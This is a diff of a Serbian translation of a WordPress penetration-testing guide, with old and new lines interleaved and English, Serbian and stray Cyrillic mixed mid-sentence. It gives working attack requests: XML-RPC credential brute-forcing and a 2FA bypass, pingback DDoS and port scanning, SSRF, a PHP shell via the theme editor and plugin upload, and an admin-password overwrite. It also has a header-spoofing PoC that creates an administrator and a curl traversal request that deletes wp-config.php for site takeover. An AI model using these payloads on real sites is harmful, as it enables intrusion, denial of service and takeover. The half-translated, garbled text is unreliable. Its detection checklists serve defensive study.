Imajte na umu da ovaj endpoint izlaže samo korisnike koji su kreirali post. **Biće pružene samo informacije o korisnicima koji imaju ovu funkciju omogućenu**.
|
||||
|
||||
Takođe imajte na umu da **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak IP adrese.
|
||||
|
||||
- **Login username enumeration**: Prilikom prijavljivanja na **`/wp-login.php`** **poruka** je **različita** u zavisnosti od toga da li navedeno **korisničko ime postoji ili ne**.
|
||||
- **Login username enumeration**: Kada se logujete na **`/wp-login.php`**, **poruka** se **razlikuje** i ukazuje da li **korisničko ime postoji ili ne**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Možete automatizovati ovaj proces[ using this](https://github.com/relarizky/wpxploit) na primer).
|
||||
Ako je `xml-rpc.php` aktivan, možete izvršiti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Ovaj proces možete automatizovati, na primer [using this](https://github.com/relarizky/wpxploit)).
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljite ovaj zahtev:
|
||||
|
||||
**Proveri**
|
||||
**Provera**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
```
|
||||

|
||||
|
||||
**Bruteforce kredencijala**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force kredencijala. Ako možete pronaći bilo koju od njih, možete poslati nešto poput:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neki od metoda koji se mogu koristiti za brute-force credentials. Ako pronađete bilo koji od njih, možete poslati nešto poput:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Poruka _"Incorrect username or password"_ unutar odgovora sa status kodom 200 treba da se pojavi ako kredencijali nisu validni.
|
||||
Poruka _"Incorrect username or password"_ u odgovoru sa kodom 200 treba да се појави ако credentials nisu validni.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Korišćenjem ispravnih kredencijala možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Koristeći ispravne credentials možete otpremiti fajl. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Korišćenjem ispravnih kredencijala možete otpremiti fajl. U odgovoru će se p
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Takođe postoji **brži način** da izvršite brute-force nad credentials koristeći **`system.multicall`**, jer možete probati više credentials u istom zahtevu:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate važeće podatke za prijavu, ali je glavni ulaz zaštićen 2FA, **možete zloupotrebiti xmlrpc.php da se prijavite tim podacima zaobilaženjem 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje su moguće kroz konzolu, ali i dalje možete uspeti da dođete do RCE kako Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Ova metoda je namenjena programima, ne ljudima, i zastarela je, zato ne podržava 2FA. Dakle, ako imate valid creds ali je glavni pristup zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite tim creds zaobilazeći 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali možda ćete ipak uspeti da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
Ovo se može iskoristiti da se **hiljade** Wordpress **sajtova** nalože da **pristupe** jednoj **lokaciji** (tako se na toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** da skenira neku internu **mrežu** (možete navesti bilo koji port).
|
||||
Ako možete naći metodu _**pingback.ping**_ u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
|
||||
Ovo se može iskoristiti da se zamoli **thousands** of Wordpress **sites** da **access** jednu **location** (tako se u toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** lo **scan** neki interni **network** (možete navesti bilo koji port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ Ovo se može iskoristiti da se **hiljade** Wordpress **sajtova** nalože da **pr
|
||||
```
|
||||

|
||||
|
||||
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
|
||||
Ako dobijete **faultCode** sa vrednošću većom od **0** (17), to znači da je port otvoren.
|
||||
|
||||
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu da biste izazvali DDoS.
|
||||
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako zloupotrebiti ovu metodu za DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,14 +210,14 @@ Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučil
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ovaj fajl obično postoji u root direktorijumu Wordpress sajta: **`/wp-cron.php`**\
|
||||
Kada se ovaj fajl **accessed** izvrši se "**heavy**" MySQL **query**, pa ga **attackers** mogu iskoristiti da izazovu **DoS**.\
|
||||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (kad god client zahteva bilo koju Wordpress stranicu), što na sajtovima sa visokim saobraćajem može praviti probleme (DoS).
|
||||
Kada se ovaj fajl **pristupi**, izvršava se **"težak"** MySQL **upit**, pa ga **napadači** mogu iskoristiti da **izazovu** **DoS**.\
|
||||
Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
|
||||
|
||||
Preporučuje se isključiti Wp-Cron i napraviti pravi cronjob na hostu koji izvršava potrebne akcije u regularnim intervalima (bez izazivanja problema).
|
||||
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne akcije (bez izazivanja problema).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može napraviti zahtev prema vama.
|
||||
Pokušajte pristupiti _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Worpress sajt može poslati zahtev prema vama.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ako postoje, pokušava da ih exploit-uje.
|
||||
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy** i, ako postoje, pokušava da ih iskoristi.
|
||||
|
||||
## Automatski alati
|
||||
```bash
|
||||
@ -240,26 +240,26 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Dobijanje pristupa prepisivanjem bita
|
||||
|
||||
Više kuriozitet nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si da prebaciš 1 bit u bilo kojoj wordpress datoteci. Dakle, mogao si da prebaciš bit na poziciji `5389` u datoteci `/var/www/html/wp-includes/user.php` tako što bi zamenio NOT (`!`) operaciju NOP-om.
|
||||
Više radoznalost nego stvarni napad. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si preokrenuti 1 bit u bilo kojoj wordpress datoteci. Tako si mogao preokrenuti bit na poziciji `5389` fajla `/var/www/html/wp-includes/user.php` i pretvoriti NOT (`!`) u NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Izmena php fajla iz korišćene teme (admin credentials needed)**
|
||||
**Modifying a php from the theme used (potrebni administratorski kredencijali)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (sa desne strane)
|
||||
Izgled → Uređivač teme → 404 Template (sa desne strane)
|
||||
|
||||
Promeni sadržaj u php shell:
|
||||
Zamenite sadržaj php shell-om:
|
||||
|
||||
.png>)
|
||||
|
||||
Potraži na internetu kako možeš pristupiti toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Potražite na internetu kako da pristupite toj ažuriranoj stranici. U ovom slučaju treba da pristupite ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
Možeš koristiti:
|
||||
Možete koristiti:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
@ -269,12 +269,12 @@ da biste dobili sesiju.
|
||||
|
||||
### PHP plugin
|
||||
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
Može biti moguće otpremiti .php fajlove kao plugin.\
|
||||
Kreirajte svoj PHP backdoor koristeći na primer:
|
||||
|
||||
.png>)
|
||||
|
||||
Then add a new plugin:
|
||||
Zatim dodajte novi plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -286,40 +286,40 @@ Kliknite na Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:
|
||||
Verovatno ovo naizgled neće ništa uraditi, ali ako odete u Media, videćete svoj shell koji je otpremljen:
|
||||
|
||||
.png>)
|
||||
|
||||
Pristupite tome i videćete URL za izvršavanje reverse shell:
|
||||
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi kroz WordPress dashboard kako sledi:
|
||||
Ovaj metod podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shell-a. Ovaj proces se izvodi kroz WordPress dashboard na sledeći način:
|
||||
|
||||
1. **Plugin Acquisition**: Plugin se nabavlja sa izvora kao što je Exploit DB, na primer [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Idite u WordPress dashboard, zatim u `Dashboard > Plugins > Upload Plugin`.
|
||||
- Otpremite zip fajl preuzetog plugina.
|
||||
3. **Plugin Activation**: Kada je plugin uspešno instaliran, morate ga aktivirati preko dashboarda.
|
||||
1. **Nabavka plugina**: Plugin se dobija iz izvora kao što je Exploit DB kao [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalacija plugina**:
|
||||
- Idite na WordPress dashboard, zatim na `Dashboard > Plugins > Upload Plugin`.
|
||||
- Otpremite zip fajl skinutog plugina.
|
||||
3. **Plugin Activation**: Nakon što je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
|
||||
4. **Exploitation**:
|
||||
- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može se izvršiti eksploatacija jer je poznat kao ranjiv.
|
||||
- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter session, što daje neovlašćen pristup sajtu.
|
||||
- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
|
||||
- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može biti iskorišćen jer je poznato da je ranjiv.
|
||||
- Metasploit framework pruža an exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, što daje neautorizovan pristup sajtu.
|
||||
- Napominje se da je ovo samo jedan od mnogih metoda za iskorišćavanje WordPress sajta.
|
||||
|
||||
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboardu za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način nezakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je penetration testing uz izričitu dozvolu.
|
||||
Sadržaj uključuje vizuelne prikaze koraka u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da iskorišćavanje ranjivosti na ovaj način predstavlja protivpravnu i neetičku radnju bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom okviru, poput penetration testing-a sa izričitom dozvolom.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**Za detaljnije korake pogledajte:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPressu. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Kreira korisnika u WordPressu.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:**
|
||||
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite svoj custom plugin (backdoor) u WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Izmenite ugrađeni plugin u WordPressu.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Izmenite ugrađenu temu u WordPressu.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits za Third-Party WordPress Plugins/Themes.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Izmenite Built-In plugine u WordPress-u.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Izmenite Built-In teme u WordPress-u.
|
||||
- _**(Custom) Custom Exploits:**_ Custom exploits za third-party WordPress plugine/teme.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
@ -331,29 +331,29 @@ Promeni administratorsku lozinku:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Pentest Wordpress pluginova
|
||||
|
||||
### Attack Surface
|
||||
### Površina napada
|
||||
|
||||
Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Razumevanje kako Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u toj funkcionalnosti. Možete videti na koji način plugin može izložiti funkcionalnost u sledećim tačkama i nekoliko primera ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlera. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji autentifikovani korisnik u Wordpress instanci može imati** (neovisno o njegovoj ulozi).
|
||||
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često je da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju WordPress nonce-a koji **bilo koji autentifikovani korisnik u WordPress instanci može imati** (bez obzira na ulogu).
|
||||
|
||||
Ovo su funkcije koje mogu biti upotrebljene za izlaganje funkcije u pluginu:
|
||||
Ovo su funkcije koje se mogu koristiti da izlože funkciju u pluginu:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Korišćenje `nopriv` čini endpoint dostupnim bilo kojim korisnicima (čak i neautentifikovanim).**
|
||||
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, a obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama visokih privilegija.
|
||||
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik ulogovan, obično ne proverava ulogu korisnika. Zato korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Moguće je takođe izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju `register_rest_route`:
|
||||
Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -365,18 +365,18 @@ $this->namespace, '/get/', array(
|
||||
```
|
||||
The `permission_callback` je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih permisija.**
|
||||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
|
||||
|
||||
- **Direktan pristup PHP fajlu**
|
||||
- **Direct access to the php file**
|
||||
|
||||
Naravno, WordPress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni preko web-a. Dakle, u slučaju da neki plugin izlaže ranjivu funkcionalnost koja se aktivira samim pristupom fajlu, ona može biti iskorišćena od strane bilo kog korisnika.
|
||||
Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni preko weba. Dakle, ako plugin izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, to će biti iskoristivo od strane svakog korisnika.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Neki plugin-ovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave kontekst trenutnog korisnika za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može spoof-ovati i pozivati privilegovane REST rute kao administrator.
|
||||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||||
|
||||
- Impact: neautentifikovano eskaliranje privilegija do admin-a kreiranjem novog administratora preko core users REST rute.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (prisiljava user ID 1, obično prvi administratorski nalog).
|
||||
- Impact: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
@ -393,8 +393,8 @@ Content-Length: 114
|
||||
```
|
||||
Zašto funkcioniše
|
||||
|
||||
- Plugin preslikava zaglavlje kontrolisano od strane klijenta u autentifikaciono stanje i preskače provere capability-a.
|
||||
- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz zaglavlja.
|
||||
- Plugin preslikava header koji kontroliše klijent na authentication state i preskače capability checks.
|
||||
- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack ga zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz header-a.
|
||||
|
||||
Očekivani indikatori uspeha
|
||||
|
||||
@ -403,19 +403,19 @@ Očekivani indikatori uspeha
|
||||
|
||||
Kontrolna lista za detekciju
|
||||
|
||||
- Pretražite (grep) za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDKs koji čitaju prilagođena zaglavlja da bi postavili kontekst korisnika (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Pregledajte REST registracije za privilegovane callback-e koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na zaglavlja zahteva.
|
||||
- Potražite upotrebe core funkcija za upravljanje korisnicima (`wp_insert_user`, `wp_create_user`) u REST handler-ima koje su kontrolisane samo vrednostima zaglavlja.
|
||||
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDKs koji čitaju custom headers da bi postavili user context (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Pregled REST registracija za privilegovane callbacks koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na request headers.
|
||||
- Traži upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handlera koje su ograničene samo vrednostima header-a.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress teme i plugin-i često izlažu AJAX handlere putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_** **callback postaje dostupan neautentifikovanim posetiocima**, pa svaka osetljiva akcija mora dodatno implementirati:
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **callback postaje dostupan neautentifikovanim posetiocima**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), i
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u *Remove Font Family* feature i na kraju isporučila sledeći kod (pojednostavljen):
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -434,15 +434,15 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemi koje uvodi ovaj isečak:
|
||||
Problemi uvedeni ovim isječkom:
|
||||
|
||||
* **Neautentifikovan pristup** – registrovan je `wp_ajax_nopriv_` hook.
|
||||
* **Nema nonce / provera privilegija** – bilo koji posetilac može da pozove endpoint.
|
||||
* **Nema sanitizacije putanje** – `fontfamily` string koji kontroliše korisnik se konkatenira sa fajl-sistemskom putanjom bez filtriranja, omogućavajući klasičnu `../../` traversal.
|
||||
* **Unauthenticated access** – registrovan je hook `wp_ajax_nopriv_`.
|
||||
* **No nonce / capability check** – bilo koji posetilac može da pozove endpoint.
|
||||
* **No path sanitisation** – string `fontfamily` koji kontroliše korisnik se konkatenira u putanju fajl sistema bez filtriranja, omogućavajući klasičan `../../` traversal.
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog direktorijuma uploads** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog uploads direktorijuma** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
```
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
Drugi značajni ciljevi uključuju plugin/tema `.php` fajlove (npr. za onemogućavanje security plugin-a) ili `.htaccess` pravila.
|
||||
|
||||
#### Checklist za detekciju
|
||||
#### Detection checklist
|
||||
|
||||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatencija nesanitizovanog korisničkog inputa u putanjama (traži `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helper-e (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Konkatenacija nesanitizovanih korisničkih ulaza u puteve (tražite `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
---
|
||||
|
||||
### Eskalacija privilegija putem vraćanja zastarelih rola i nedostajuće autorizacije (ASE "View Admin as Role")
|
||||
### Povišenje privilegija putem vraćanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")
|
||||
|
||||
Mnogi plugin-ovi implementiraju "view as role" ili privremenu promenu role tako što čuvaju originalnu rolu/role u user meta da bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. `$_REQUEST['reset-for']`) i interne liste održavane od strane plugina bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.
|
||||
Mnogi plugin-i implementiraju "view as role" ili privremenu promenu uloge tako što sačuvaju originalnu ulogu/e u user meta kako bi ih mogli vratiti kasnije. Ako se put vraćanja oslanja samo na request parametre (npr. `$_REQUEST['reset-for']`) i na listu koju održava plugin, bez provere capabilities i važećeg nonce-a, to postaje vertikalno povišenje privilegija.
|
||||
|
||||
Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za reset je vraćala role bazirano na `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne role i ponovo doda sačuvane role iz user meta `_asenha_view_admin_as_original_roles`:
|
||||
